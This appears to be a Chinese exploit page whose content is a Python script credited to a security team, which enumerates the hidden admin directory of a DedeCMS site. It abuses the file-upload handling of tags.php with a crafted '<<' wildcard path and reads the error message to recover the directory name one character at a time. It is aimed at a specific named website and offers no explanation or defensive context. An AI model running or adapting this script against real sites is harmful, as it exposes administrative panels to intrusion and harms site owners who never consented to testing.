DEDE暴力破解后台登录页面

DEDE暴力破解后台登录页面

 #!/usr/bin/env python
 '''/*
     * author = Mochazz
     * team   = 红日安全团队
     * env    = pyton3
     *
     */
 '''
 import requests
 import itertools
 characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
 back_dir = ""
 flag = 0
 url = "http://www.rmjdw.com/tags.php"
 data = {
     "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
     "_FILES[mochazz][name]" : 0,
     "_FILES[mochazz][size]" : 0,
     "_FILES[mochazz][type]" : "image/gif"
 }

 for num in range(1,7):
     if flag:
         break
     for pre in itertools.permutations(characters,num):
         pre = ''.join(list(pre))
         data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
         print("testing",pre)
         r = requests.post(url,data=data)
         if "Upload filetype not allow !" not in r.text and r.status_code == 200:
             flag = 1
             back_dir = pre
             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
             break
         else:
             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
 print("[+] 前缀为：",back_dir)
 flag = 0
 for i in range(30):
     if flag:
         break
     for ch in characters:
         if ch == characters[-1]:
             flag = 1
             break
         data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
         r = requests.post(url, data=data)
         if "Upload filetype not allow !" not in r.text and r.status_code == 200:
             back_dir += ch
             print("[+] ",back_dir)
             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
             break
         else:
             data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"

 print("后台地址为：",back_dir)